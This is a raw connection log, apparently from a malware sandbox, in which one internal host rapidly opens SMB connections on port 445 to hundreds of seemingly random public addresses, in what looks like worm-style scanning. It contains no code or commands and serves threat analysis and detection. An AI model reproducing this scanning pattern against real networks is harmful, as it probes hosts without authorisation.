Jul 20, 2022 13:26:16.646053076 CEST	54860	445	192.168.2.7	5.28.144.26
Jul 20, 2022 13:26:16.739841938 CEST	54862	445	192.168.2.7	156.34.121.191
Jul 20, 2022 13:26:16.741137028 CEST	54863	445	192.168.2.7	6.43.74.220
Jul 20, 2022 13:26:16.799757957 CEST	54870	445	192.168.2.7	190.28.119.35
Jul 20, 2022 13:26:16.800307035 CEST	54871	445	192.168.2.7	11.175.215.138
Jul 20, 2022 13:26:16.800856113 CEST	54872	445	192.168.2.7	134.170.119.14
Jul 20, 2022 13:26:16.801389933 CEST	54873	445	192.168.2.7	97.236.253.9
Jul 20, 2022 13:26:16.830913067 CEST	54874	445	192.168.2.7	179.127.174.70
Jul 20, 2022 13:26:16.834109068 CEST	54875	445	192.168.2.7	205.63.102.35
Jul 20, 2022 13:26:16.834585905 CEST	54876	445	192.168.2.7	18.108.192.42
Jul 20, 2022 13:26:16.835110903 CEST	54877	445	192.168.2.7	186.64.110.34
Jul 20, 2022 13:26:16.836515903 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:16.868649006 CEST	445	54880	86.71.147.1	192.168.2.7
Jul 20, 2022 13:26:16.869304895 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:16.869478941 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:16.909955978 CEST	54882	445	192.168.2.7	171.140.91.89
Jul 20, 2022 13:26:16.941138029 CEST	54884	445	192.168.2.7	209.167.246.29
Jul 20, 2022 13:26:16.946485043 CEST	54891	445	192.168.2.7	70.84.27.94
Jul 20, 2022 13:26:16.947046041 CEST	54892	445	192.168.2.7	56.250.58.213
Jul 20, 2022 13:26:16.948227882 CEST	54894	445	192.168.2.7	77.239.44.49
Jul 20, 2022 13:26:16.950061083 CEST	54897	445	192.168.2.7	31.96.226.226
Jul 20, 2022 13:26:16.951173067 CEST	54898	445	192.168.2.7	75.40.155.33
Jul 20, 2022 13:26:16.951809883 CEST	54899	445	192.168.2.7	199.10.32.209
Jul 20, 2022 13:26:16.952346087 CEST	54900	445	192.168.2.7	76.138.250.99
Jul 20, 2022 13:26:16.955919981 CEST	54901	445	192.168.2.7	18.28.221.194
Jul 20, 2022 13:26:16.956954002 CEST	54903	445	192.168.2.7	163.150.234.206
Jul 20, 2022 13:26:16.989598036 CEST	54909	445	192.168.2.7	8.202.0.109
Jul 20, 2022 13:26:16.989660025 CEST	54910	445	192.168.2.7	187.61.78.91
Jul 20, 2022 13:26:17.072303057 CEST	445	54874	179.127.174.70	192.168.2.7
Jul 20, 2022 13:26:17.126802921 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:17.174854040 CEST	54917	445	192.168.2.7	185.15.42.90
Jul 20, 2022 13:26:17.177009106 CEST	54918	445	192.168.2.7	5.240.140.72
Jul 20, 2022 13:26:17.223314047 CEST	445	54917	185.15.42.90	192.168.2.7
Jul 20, 2022 13:26:17.362356901 CEST	54922	445	192.168.2.7	94.27.140.21
Jul 20, 2022 13:26:17.439353943 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:17.501837015 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:17.579965115 CEST	54874	445	192.168.2.7	179.127.174.70
Jul 20, 2022 13:26:17.643404007 CEST	54929	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:17.736268997 CEST	54917	445	192.168.2.7	185.15.42.90
Jul 20, 2022 13:26:17.769296885 CEST	54931	445	192.168.2.7	119.84.36.62
Jul 20, 2022 13:26:17.769380093 CEST	54933	445	192.168.2.7	191.87.56.185
Jul 20, 2022 13:26:17.769383907 CEST	54932	445	192.168.2.7	179.36.117.67
Jul 20, 2022 13:26:17.788084984 CEST	445	54917	185.15.42.90	192.168.2.7
Jul 20, 2022 13:26:17.826374054 CEST	445	54874	179.127.174.70	192.168.2.7
Jul 20, 2022 13:26:17.838803053 CEST	445	54929	38.55.46.3	192.168.2.7
Jul 20, 2022 13:26:17.838913918 CEST	54929	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:17.839083910 CEST	54929	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:17.872973919 CEST	54943	445	192.168.2.7	19.203.55.203
Jul 20, 2022 13:26:17.872977972 CEST	54942	445	192.168.2.7	164.17.176.212
Jul 20, 2022 13:26:17.875015020 CEST	54936	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:17.925445080 CEST	54945	445	192.168.2.7	73.20.92.20
Jul 20, 2022 13:26:17.926433086 CEST	54946	445	192.168.2.7	204.28.229.86
Jul 20, 2022 13:26:17.927388906 CEST	54947	445	192.168.2.7	40.182.176.129
Jul 20, 2022 13:26:17.928354979 CEST	54948	445	192.168.2.7	14.103.151.69
Jul 20, 2022 13:26:17.959197044 CEST	54949	445	192.168.2.7	130.182.129.70
Jul 20, 2022 13:26:17.960951090 CEST	54951	445	192.168.2.7	111.254.118.111
Jul 20, 2022 13:26:17.961004019 CEST	54950	445	192.168.2.7	8.121.26.177
Jul 20, 2022 13:26:17.961052895 CEST	54952	445	192.168.2.7	147.79.113.250
Jul 20, 2022 13:26:18.019318104 CEST	54956	445	192.168.2.7	155.79.204.247
Jul 20, 2022 13:26:18.048770905 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:18.077775002 CEST	54961	445	192.168.2.7	211.15.125.206
Jul 20, 2022 13:26:18.078634024 CEST	54962	445	192.168.2.7	121.252.32.49
Jul 20, 2022 13:26:18.079427004 CEST	54963	445	192.168.2.7	104.31.157.79
Jul 20, 2022 13:26:18.080199003 CEST	54964	445	192.168.2.7	184.200.196.100
Jul 20, 2022 13:26:18.080975056 CEST	54965	445	192.168.2.7	158.74.36.103
Jul 20, 2022 13:26:18.084846020 CEST	54971	445	192.168.2.7	26.138.240.167
Jul 20, 2022 13:26:18.086220980 CEST	54973	445	192.168.2.7	183.63.113.123
Jul 20, 2022 13:26:18.087124109 CEST	54974	445	192.168.2.7	170.227.7.248
Jul 20, 2022 13:26:18.087940931 CEST	54975	445	192.168.2.7	134.141.29.194
Jul 20, 2022 13:26:18.088665962 CEST	54976	445	192.168.2.7	159.26.246.179
Jul 20, 2022 13:26:18.098388910 CEST	54980	445	192.168.2.7	80.220.32.204
Jul 20, 2022 13:26:18.099169016 CEST	54981	445	192.168.2.7	3.136.224.59
Jul 20, 2022 13:26:18.235881090 CEST	445	54951	111.254.118.111	192.168.2.7
Jul 20, 2022 13:26:18.252927065 CEST	54990	445	192.168.2.7	185.15.42.91
Jul 20, 2022 13:26:18.253700972 CEST	54991	445	192.168.2.7	5.240.140.73
Jul 20, 2022 13:26:18.440589905 CEST	54996	445	192.168.2.7	94.27.140.22
Jul 20, 2022 13:26:18.455154896 CEST	54929	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:18.736335039 CEST	54951	445	192.168.2.7	111.254.118.111
Jul 20, 2022 13:26:18.895279884 CEST	55005	445	192.168.2.7	9.177.249.158
Jul 20, 2022 13:26:18.895956993 CEST	55006	445	192.168.2.7	164.87.2.118
Jul 20, 2022 13:26:18.896832943 CEST	55007	445	192.168.2.7	39.90.221.4
Jul 20, 2022 13:26:18.974129915 CEST	80	49704	93.184.220.29	192.168.2.7
Jul 20, 2022 13:26:18.976516008 CEST	49704	80	192.168.2.7	93.184.220.29
Jul 20, 2022 13:26:18.991702080 CEST	55015	445	192.168.2.7	103.58.199.183
Jul 20, 2022 13:26:18.991889000 CEST	55017	445	192.168.2.7	28.36.65.204
Jul 20, 2022 13:26:19.006954908 CEST	445	54951	111.254.118.111	192.168.2.7
Jul 20, 2022 13:26:19.054286003 CEST	55018	445	192.168.2.7	182.220.170.45
Jul 20, 2022 13:26:19.055767059 CEST	55019	445	192.168.2.7	171.70.231.222
Jul 20, 2022 13:26:19.055792093 CEST	55020	445	192.168.2.7	119.217.128.18
Jul 20, 2022 13:26:19.055896044 CEST	55021	445	192.168.2.7	112.196.142.190
Jul 20, 2022 13:26:19.082065105 CEST	55022	445	192.168.2.7	140.100.98.178
Jul 20, 2022 13:26:19.083251953 CEST	55023	445	192.168.2.7	87.152.71.18
Jul 20, 2022 13:26:19.083439112 CEST	55024	445	192.168.2.7	84.212.68.252
Jul 20, 2022 13:26:19.083525896 CEST	55026	445	192.168.2.7	22.113.176.209
Jul 20, 2022 13:26:19.144088984 CEST	55029	445	192.168.2.7	110.7.164.243
Jul 20, 2022 13:26:19.191967010 CEST	55031	445	192.168.2.7	75.146.243.78
Jul 20, 2022 13:26:19.192089081 CEST	55032	445	192.168.2.7	176.85.110.206
Jul 20, 2022 13:26:19.192301035 CEST	55033	445	192.168.2.7	178.218.65.103
Jul 20, 2022 13:26:19.207653999 CEST	55039	445	192.168.2.7	66.201.105.1
Jul 20, 2022 13:26:19.219655991 CEST	55040	445	192.168.2.7	186.229.231.112
Jul 20, 2022 13:26:19.229505062 CEST	55045	445	192.168.2.7	3.176.55.145
Jul 20, 2022 13:26:19.229598045 CEST	55046	445	192.168.2.7	213.248.208.40
Jul 20, 2022 13:26:19.229703903 CEST	55047	445	192.168.2.7	105.64.184.113
Jul 20, 2022 13:26:19.229720116 CEST	55044	445	192.168.2.7	139.250.183.211
Jul 20, 2022 13:26:19.229887009 CEST	55049	445	192.168.2.7	141.89.60.211
Jul 20, 2022 13:26:19.230195999 CEST	55055	445	192.168.2.7	90.191.84.177
Jul 20, 2022 13:26:19.230277061 CEST	55056	445	192.168.2.7	51.223.70.31
Jul 20, 2022 13:26:19.252022028 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:19.331125021 CEST	55063	445	192.168.2.7	185.15.42.92
Jul 20, 2022 13:26:19.331887960 CEST	55064	445	192.168.2.7	5.240.140.74
Jul 20, 2022 13:26:19.518451929 CEST	55069	445	192.168.2.7	94.27.140.23
Jul 20, 2022 13:26:19.611449957 CEST	54929	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:19.908293962 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:20.018718958 CEST	55078	445	192.168.2.7	183.245.105.11
Jul 20, 2022 13:26:20.019202948 CEST	55079	445	192.168.2.7	15.70.16.225
Jul 20, 2022 13:26:20.019675016 CEST	55080	445	192.168.2.7	200.70.242.65
Jul 20, 2022 13:26:20.115504980 CEST	55088	445	192.168.2.7	64.82.144.157
Jul 20, 2022 13:26:20.116693020 CEST	55090	445	192.168.2.7	73.189.108.18
Jul 20, 2022 13:26:20.174649000 CEST	55091	445	192.168.2.7	214.132.62.232
Jul 20, 2022 13:26:20.175189018 CEST	55092	445	192.168.2.7	177.189.20.252
Jul 20, 2022 13:26:20.175688982 CEST	55093	445	192.168.2.7	63.252.237.5
Jul 20, 2022 13:26:20.176192045 CEST	55094	445	192.168.2.7	193.28.40.154
Jul 20, 2022 13:26:20.208107948 CEST	55095	445	192.168.2.7	85.79.191.158
Jul 20, 2022 13:26:20.209279060 CEST	55097	445	192.168.2.7	128.50.164.132
Jul 20, 2022 13:26:20.209440947 CEST	55100	445	192.168.2.7	137.12.209.201
Jul 20, 2022 13:26:20.209445000 CEST	55096	445	192.168.2.7	9.32.158.236
Jul 20, 2022 13:26:20.278302908 CEST	55102	445	192.168.2.7	26.224.232.102
Jul 20, 2022 13:26:20.315505028 CEST	55105	445	192.168.2.7	54.136.194.192
Jul 20, 2022 13:26:20.317013979 CEST	55106	445	192.168.2.7	84.28.52.140
Jul 20, 2022 13:26:20.317806959 CEST	55107	445	192.168.2.7	78.96.169.91
Jul 20, 2022 13:26:20.331144094 CEST	55111	445	192.168.2.7	146.64.116.158
Jul 20, 2022 13:26:20.347613096 CEST	55114	445	192.168.2.7	129.179.85.165
Jul 20, 2022 13:26:20.351568937 CEST	55119	445	192.168.2.7	118.148.232.249
Jul 20, 2022 13:26:20.352747917 CEST	55118	445	192.168.2.7	143.166.226.19
Jul 20, 2022 13:26:20.352783918 CEST	55120	445	192.168.2.7	167.34.225.72
Jul 20, 2022 13:26:20.353526115 CEST	55121	445	192.168.2.7	192.215.95.157
Jul 20, 2022 13:26:20.355081081 CEST	55123	445	192.168.2.7	222.8.198.43
Jul 20, 2022 13:26:20.374157906 CEST	55129	445	192.168.2.7	90.247.2.49
Jul 20, 2022 13:26:20.374872923 CEST	55130	445	192.168.2.7	111.74.203.143
Jul 20, 2022 13:26:20.419009924 CEST	55137	445	192.168.2.7	185.15.42.93
Jul 20, 2022 13:26:20.419543028 CEST	55138	445	192.168.2.7	5.240.140.75
Jul 20, 2022 13:26:20.596662998 CEST	55143	445	192.168.2.7	94.27.140.24
Jul 20, 2022 13:26:20.877178907 CEST	54936	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:21.144686937 CEST	55152	445	192.168.2.7	78.120.141.21
Jul 20, 2022 13:26:21.144793034 CEST	55153	445	192.168.2.7	142.225.0.182
Jul 20, 2022 13:26:21.145010948 CEST	55155	445	192.168.2.7	111.146.96.162
Jul 20, 2022 13:26:21.237734079 CEST	55157	445	192.168.2.7	210.179.148.71
Jul 20, 2022 13:26:21.239438057 CEST	55159	445	192.168.2.7	160.189.128.211
Jul 20, 2022 13:26:21.301558971 CEST	55165	445	192.168.2.7	150.236.41.173
Jul 20, 2022 13:26:21.301767111 CEST	55167	445	192.168.2.7	125.17.21.16
Jul 20, 2022 13:26:21.301801920 CEST	55166	445	192.168.2.7	136.48.28.93
Jul 20, 2022 13:26:21.301940918 CEST	55168	445	192.168.2.7	81.55.164.139
Jul 20, 2022 13:26:21.331760883 CEST	55169	445	192.168.2.7	187.191.234.239
Jul 20, 2022 13:26:21.334135056 CEST	55170	445	192.168.2.7	149.51.198.192
Jul 20, 2022 13:26:21.335396051 CEST	55171	445	192.168.2.7	116.45.45.186
Jul 20, 2022 13:26:21.338274956 CEST	55174	445	192.168.2.7	71.33.189.230
Jul 20, 2022 13:26:21.395246983 CEST	55177	445	192.168.2.7	200.87.214.33
Jul 20, 2022 13:26:21.434521914 CEST	445	55170	149.51.198.192	192.168.2.7
Jul 20, 2022 13:26:21.440253973 CEST	55179	445	192.168.2.7	194.53.47.85
Jul 20, 2022 13:26:21.440823078 CEST	55180	445	192.168.2.7	221.99.241.9
Jul 20, 2022 13:26:21.441344023 CEST	55181	445	192.168.2.7	158.234.149.61
Jul 20, 2022 13:26:21.456501961 CEST	55186	445	192.168.2.7	24.186.228.237
Jul 20, 2022 13:26:21.474998951 CEST	55188	445	192.168.2.7	73.182.45.36
Jul 20, 2022 13:26:21.475395918 CEST	55192	445	192.168.2.7	172.91.192.86
Jul 20, 2022 13:26:21.475522995 CEST	55193	445	192.168.2.7	97.99.201.169
Jul 20, 2022 13:26:21.475579023 CEST	55194	445	192.168.2.7	210.158.217.167
Jul 20, 2022 13:26:21.475652933 CEST	55195	445	192.168.2.7	206.103.230.68
Jul 20, 2022 13:26:21.475729942 CEST	55197	445	192.168.2.7	210.102.235.83
Jul 20, 2022 13:26:21.495279074 CEST	55199	445	192.168.2.7	5.240.140.76
Jul 20, 2022 13:26:21.495779991 CEST	55202	445	192.168.2.7	185.15.42.94
Jul 20, 2022 13:26:21.496157885 CEST	55206	445	192.168.2.7	90.136.195.225
Jul 20, 2022 13:26:21.496704102 CEST	55208	445	192.168.2.7	44.100.157.213
Jul 20, 2022 13:26:21.658488035 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:21.675187111 CEST	55215	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.714838028 CEST	445	55215	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:21.714976072 CEST	55215	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.715187073 CEST	55215	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.718328953 CEST	55218	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.754646063 CEST	445	55215	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:21.755125046 CEST	55215	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.756262064 CEST	445	55218	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:21.756597042 CEST	55218	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.756620884 CEST	55218	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.795717955 CEST	445	55218	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:21.795877934 CEST	445	55218	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:21.796025991 CEST	55218	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.796057940 CEST	55218	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.796469927 CEST	55218	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:21.835016012 CEST	445	55218	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:21.835081100 CEST	445	55218	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:21.908524036 CEST	54929	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:21.939799070 CEST	55170	445	192.168.2.7	149.51.198.192
Jul 20, 2022 13:26:22.040775061 CEST	445	55170	149.51.198.192	192.168.2.7
Jul 20, 2022 13:26:22.272250891 CEST	55227	445	192.168.2.7	74.159.111.229
Jul 20, 2022 13:26:22.273216009 CEST	55229	445	192.168.2.7	70.173.178.224
Jul 20, 2022 13:26:22.273786068 CEST	55230	445	192.168.2.7	15.112.67.193
Jul 20, 2022 13:26:22.387815952 CEST	55237	445	192.168.2.7	54.61.60.231
Jul 20, 2022 13:26:22.387913942 CEST	55239	445	192.168.2.7	116.104.24.72
Jul 20, 2022 13:26:22.425123930 CEST	55241	445	192.168.2.7	32.161.1.74
Jul 20, 2022 13:26:22.425926924 CEST	55242	445	192.168.2.7	183.108.165.218
Jul 20, 2022 13:26:22.426688910 CEST	55243	445	192.168.2.7	212.134.44.23
Jul 20, 2022 13:26:22.427468061 CEST	55244	445	192.168.2.7	6.219.50.30
Jul 20, 2022 13:26:22.463615894 CEST	55245	445	192.168.2.7	166.240.210.31
Jul 20, 2022 13:26:22.464623928 CEST	55246	445	192.168.2.7	33.32.233.166
Jul 20, 2022 13:26:22.479490995 CEST	55249	445	192.168.2.7	80.120.207.143
Jul 20, 2022 13:26:22.479554892 CEST	55250	445	192.168.2.7	51.90.57.156
Jul 20, 2022 13:26:22.521085978 CEST	55254	445	192.168.2.7	105.94.14.46
Jul 20, 2022 13:26:22.552062035 CEST	55257	445	192.168.2.7	185.15.42.95
Jul 20, 2022 13:26:22.553630114 CEST	55259	445	192.168.2.7	151.120.22.204
Jul 20, 2022 13:26:22.554317951 CEST	55260	445	192.168.2.7	5.240.140.77
Jul 20, 2022 13:26:22.555711031 CEST	55261	445	192.168.2.7	99.196.248.237
Jul 20, 2022 13:26:22.555766106 CEST	55262	445	192.168.2.7	191.245.194.30
Jul 20, 2022 13:26:22.581959009 CEST	55264	445	192.168.2.7	154.72.189.77
Jul 20, 2022 13:26:22.599490881 CEST	55269	445	192.168.2.7	104.152.114.174
Jul 20, 2022 13:26:22.608618021 CEST	55271	445	192.168.2.7	90.142.118.31
Jul 20, 2022 13:26:22.609350920 CEST	55278	445	192.168.2.7	67.13.161.214
Jul 20, 2022 13:26:22.609361887 CEST	55279	445	192.168.2.7	5.53.192.231
Jul 20, 2022 13:26:22.609522104 CEST	55281	445	192.168.2.7	167.51.210.195
Jul 20, 2022 13:26:22.609580040 CEST	55283	445	192.168.2.7	80.113.84.185
Jul 20, 2022 13:26:22.609635115 CEST	55284	445	192.168.2.7	43.236.114.174
Jul 20, 2022 13:26:22.609793901 CEST	55288	445	192.168.2.7	19.138.148.43
Jul 20, 2022 13:26:22.782723904 CEST	445	55262	191.245.194.30	192.168.2.7
Jul 20, 2022 13:26:23.283811092 CEST	55262	445	192.168.2.7	191.245.194.30
Jul 20, 2022 13:26:23.309930086 CEST	80	49703	93.184.220.29	192.168.2.7
Jul 20, 2022 13:26:23.310117960 CEST	49703	80	192.168.2.7	93.184.220.29
Jul 20, 2022 13:26:23.394562006 CEST	55301	445	192.168.2.7	172.30.95.40
Jul 20, 2022 13:26:23.395771980 CEST	55303	445	192.168.2.7	148.226.208.246
Jul 20, 2022 13:26:23.396437883 CEST	55304	445	192.168.2.7	93.145.67.106
Jul 20, 2022 13:26:23.507355928 CEST	55312	445	192.168.2.7	202.98.231.196
Jul 20, 2022 13:26:23.507474899 CEST	55314	445	192.168.2.7	129.97.219.204
Jul 20, 2022 13:26:23.515275002 CEST	445	55262	191.245.194.30	192.168.2.7
Jul 20, 2022 13:26:23.551291943 CEST	55315	445	192.168.2.7	72.229.248.251
Jul 20, 2022 13:26:23.551331043 CEST	55316	445	192.168.2.7	88.175.191.100
Jul 20, 2022 13:26:23.551476955 CEST	55317	445	192.168.2.7	166.212.200.68
Jul 20, 2022 13:26:23.551527977 CEST	55318	445	192.168.2.7	163.110.3.49
Jul 20, 2022 13:26:23.581851006 CEST	55319	445	192.168.2.7	68.48.166.224
Jul 20, 2022 13:26:23.582748890 CEST	55320	445	192.168.2.7	11.114.17.165
Jul 20, 2022 13:26:23.597481966 CEST	55321	445	192.168.2.7	42.187.163.136
Jul 20, 2022 13:26:23.598104954 CEST	55322	445	192.168.2.7	34.240.118.169
Jul 20, 2022 13:26:23.628544092 CEST	55325	445	192.168.2.7	185.15.42.96
Jul 20, 2022 13:26:23.629127026 CEST	55326	445	192.168.2.7	5.240.140.78
Jul 20, 2022 13:26:23.649074078 CEST	55330	445	192.168.2.7	196.77.104.29
Jul 20, 2022 13:26:23.697206974 CEST	55335	445	192.168.2.7	97.109.242.81
Jul 20, 2022 13:26:23.697886944 CEST	55336	445	192.168.2.7	39.18.99.99
Jul 20, 2022 13:26:23.697902918 CEST	55333	445	192.168.2.7	208.67.38.43
Jul 20, 2022 13:26:23.707021952 CEST	55338	445	192.168.2.7	200.65.160.28
Jul 20, 2022 13:26:23.726454973 CEST	55343	445	192.168.2.7	217.104.80.157
Jul 20, 2022 13:26:23.729588032 CEST	55345	445	192.168.2.7	195.101.52.107
Jul 20, 2022 13:26:23.747281075 CEST	55352	445	192.168.2.7	216.103.45.20
Jul 20, 2022 13:26:23.747458935 CEST	55354	445	192.168.2.7	122.49.65.132
Jul 20, 2022 13:26:23.747622013 CEST	55356	445	192.168.2.7	202.201.21.38
Jul 20, 2022 13:26:23.747742891 CEST	55357	445	192.168.2.7	70.164.237.103
Jul 20, 2022 13:26:23.747860909 CEST	55358	445	192.168.2.7	60.161.202.106
Jul 20, 2022 13:26:23.748075008 CEST	55362	445	192.168.2.7	31.117.179.138
Jul 20, 2022 13:26:24.519568920 CEST	55376	445	192.168.2.7	161.1.3.93
Jul 20, 2022 13:26:24.521096945 CEST	55378	445	192.168.2.7	22.190.22.234
Jul 20, 2022 13:26:24.630426884 CEST	55383	445	192.168.2.7	126.244.45.176
Jul 20, 2022 13:26:24.631392956 CEST	55385	445	192.168.2.7	52.232.153.139
Jul 20, 2022 13:26:24.707108021 CEST	55390	445	192.168.2.7	5.240.140.79
Jul 20, 2022 13:26:24.707142115 CEST	55391	445	192.168.2.7	185.15.42.97
Jul 20, 2022 13:26:24.721220970 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:24.737915993 CEST	55392	445	192.168.2.7	136.60.212.62
Jul 20, 2022 13:26:24.739389896 CEST	55393	445	192.168.2.7	169.6.254.11
Jul 20, 2022 13:26:24.740612984 CEST	55394	445	192.168.2.7	31.254.73.170
Jul 20, 2022 13:26:24.744098902 CEST	55398	445	192.168.2.7	59.210.220.19
Jul 20, 2022 13:26:24.744118929 CEST	55397	445	192.168.2.7	88.140.164.48
Jul 20, 2022 13:26:24.744195938 CEST	55399	445	192.168.2.7	68.81.184.74
Jul 20, 2022 13:26:24.744486094 CEST	55400	445	192.168.2.7	179.195.103.231
Jul 20, 2022 13:26:24.744534969 CEST	55401	445	192.168.2.7	95.71.168.54
Jul 20, 2022 13:26:24.770282030 CEST	55405	445	192.168.2.7	177.115.22.254
Jul 20, 2022 13:26:24.799952984 CEST	55406	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:24.817524910 CEST	55410	445	192.168.2.7	58.220.120.203
Jul 20, 2022 13:26:24.817528963 CEST	55411	445	192.168.2.7	156.39.185.45
Jul 20, 2022 13:26:24.817624092 CEST	55412	445	192.168.2.7	6.166.186.48
Jul 20, 2022 13:26:24.831952095 CEST	55414	445	192.168.2.7	172.72.21.133
Jul 20, 2022 13:26:24.839627028 CEST	445	55406	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:24.839777946 CEST	55406	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:24.839998960 CEST	55406	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:24.849133968 CEST	55419	445	192.168.2.7	154.13.73.14
Jul 20, 2022 13:26:24.851953983 CEST	55421	445	192.168.2.7	60.165.135.248
Jul 20, 2022 13:26:24.872438908 CEST	55429	445	192.168.2.7	93.131.82.64
Jul 20, 2022 13:26:24.872454882 CEST	55428	445	192.168.2.7	79.180.185.223
Jul 20, 2022 13:26:24.872570992 CEST	55430	445	192.168.2.7	103.125.186.114
Jul 20, 2022 13:26:24.872651100 CEST	55432	445	192.168.2.7	195.232.226.67
Jul 20, 2022 13:26:24.872757912 CEST	55434	445	192.168.2.7	218.210.75.114
Jul 20, 2022 13:26:24.872884035 CEST	55435	445	192.168.2.7	217.142.225.131
Jul 20, 2022 13:26:24.880283117 CEST	445	55406	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:24.880414963 CEST	445	55406	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:24.880538940 CEST	55406	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:24.880629063 CEST	55406	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:24.888447046 CEST	55406	445	192.168.2.7	94.27.140.25
Jul 20, 2022 13:26:24.920352936 CEST	445	55406	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:24.927896976 CEST	445	55406	94.27.140.25	192.168.2.7
Jul 20, 2022 13:26:24.940965891 CEST	55439	445	192.168.2.7	94.27.140.26
Jul 20, 2022 13:26:24.996138096 CEST	445	55414	172.72.21.133	192.168.2.7
Jul 20, 2022 13:26:25.502574921 CEST	55414	445	192.168.2.7	172.72.21.133
Jul 20, 2022 13:26:25.643999100 CEST	55453	445	192.168.2.7	63.229.175.93
Jul 20, 2022 13:26:25.644942999 CEST	55455	445	192.168.2.7	71.131.80.233
Jul 20, 2022 13:26:25.645598888 CEST	55456	445	192.168.2.7	65.89.254.175
Jul 20, 2022 13:26:25.668087006 CEST	445	55414	172.72.21.133	192.168.2.7
Jul 20, 2022 13:26:25.742487907 CEST	55460	445	192.168.2.7	36.178.158.140
Jul 20, 2022 13:26:25.744576931 CEST	55462	445	192.168.2.7	207.49.160.26
Jul 20, 2022 13:26:25.784946918 CEST	55468	445	192.168.2.7	5.240.140.80
Jul 20, 2022 13:26:25.784955025 CEST	55467	445	192.168.2.7	185.15.42.98
Jul 20, 2022 13:26:25.832462072 CEST	445	55467	185.15.42.98	192.168.2.7
Jul 20, 2022 13:26:25.863220930 CEST	55469	445	192.168.2.7	36.140.59.158
Jul 20, 2022 13:26:25.863914967 CEST	55470	445	192.168.2.7	133.252.97.98
Jul 20, 2022 13:26:25.864976883 CEST	55472	445	192.168.2.7	136.45.167.40
Jul 20, 2022 13:26:25.865489006 CEST	55473	445	192.168.2.7	1.168.22.97
Jul 20, 2022 13:26:25.865973949 CEST	55474	445	192.168.2.7	83.63.223.127
Jul 20, 2022 13:26:25.866930962 CEST	55476	445	192.168.2.7	150.140.202.169
Jul 20, 2022 13:26:25.867439032 CEST	55477	445	192.168.2.7	183.96.39.29
Jul 20, 2022 13:26:25.874675989 CEST	55478	445	192.168.2.7	14.57.15.123
Jul 20, 2022 13:26:25.897634983 CEST	55479	445	192.168.2.7	149.193.166.75
Jul 20, 2022 13:26:25.942348003 CEST	55486	445	192.168.2.7	10.166.102.194
Jul 20, 2022 13:26:25.942904949 CEST	55487	445	192.168.2.7	169.179.179.14
Jul 20, 2022 13:26:25.943411112 CEST	55488	445	192.168.2.7	18.250.247.160
Jul 20, 2022 13:26:25.957901001 CEST	55491	445	192.168.2.7	79.77.188.54
Jul 20, 2022 13:26:25.973490000 CEST	55495	445	192.168.2.7	179.191.106.180
Jul 20, 2022 13:26:25.974993944 CEST	55498	445	192.168.2.7	105.235.127.60
Jul 20, 2022 13:26:25.999982119 CEST	55504	445	192.168.2.7	155.229.27.202
Jul 20, 2022 13:26:26.000130892 CEST	55505	445	192.168.2.7	140.4.41.250
Jul 20, 2022 13:26:26.000231028 CEST	55507	445	192.168.2.7	13.206.114.237
Jul 20, 2022 13:26:26.000384092 CEST	55508	445	192.168.2.7	12.32.117.87
Jul 20, 2022 13:26:26.000471115 CEST	55512	445	192.168.2.7	88.59.63.28
Jul 20, 2022 13:26:26.000483036 CEST	55510	445	192.168.2.7	122.78.176.112
Jul 20, 2022 13:26:26.018837929 CEST	55515	445	192.168.2.7	94.27.140.27
Jul 20, 2022 13:26:26.346416950 CEST	55467	445	192.168.2.7	185.15.42.98
Jul 20, 2022 13:26:26.393812895 CEST	445	55467	185.15.42.98	192.168.2.7
Jul 20, 2022 13:26:26.471374989 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:26.487052917 CEST	54929	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:26.769140005 CEST	55530	445	192.168.2.7	3.93.6.201
Jul 20, 2022 13:26:26.771342993 CEST	55532	445	192.168.2.7	187.221.179.56
